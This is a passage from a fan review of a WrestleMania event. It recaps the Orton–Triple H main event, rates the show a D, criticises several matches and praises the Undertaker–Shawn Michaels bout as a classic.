It’s the same issue that many recent Mania main events have had: it’s not a bad match, but there’s nothing mind blowing. It’s like they’re in safe mode or something. Orton catches HHH coming of the top rope (WTF???) with a sick dropkick. Ref goes down and Orton hits an RKO. He gets the sledge but gets kicked leading to him getting punched beyond all reasonable measure. Pedigree and Orton is dead. Fireworks and we’re out. Well, that sums up the whole show.
Overall Rating: D. This show had one good match in it. That’s all. You have a decent opener so that was ok. Then the Women’s match was absolutely a disgrace. Never in my life have I seen a dumber thing. Seriously, we get a ten minute concert of all things and then you don’t even see the older divas, in a match for NOSTALGIA get introduced? My goodness that’s a joke. Plain and simple, that was pathetic.

That was to get a weak comedy act in when it could have been something very cool. Austin could come out at the end but not come out to beat up Jericho? That would have saved that whole thing. Hardys match was just ok. Not great but could have been worse by far. IC Title was to get to JBL quitting so I don’t even call that a match. Then we have the one match: Taker and HBK was an absolute classic, hands down.

Maybe not the best ever as Steamboat and Savage was almost too incredible to ever be passed, but this was by far the best match in many years. After that, the three way was ok and the main event was just a waste.

Overall, watch Taker and HBK and if you’re out of other good matches to watch, check out MITB and the Triple Threat. Other than that, avoid this show. Is it the worst Mania of all time? It’s not due to HBK/Taker, but that’s literally the only thing keeping it ahead of 2 and 9. Terrible show.

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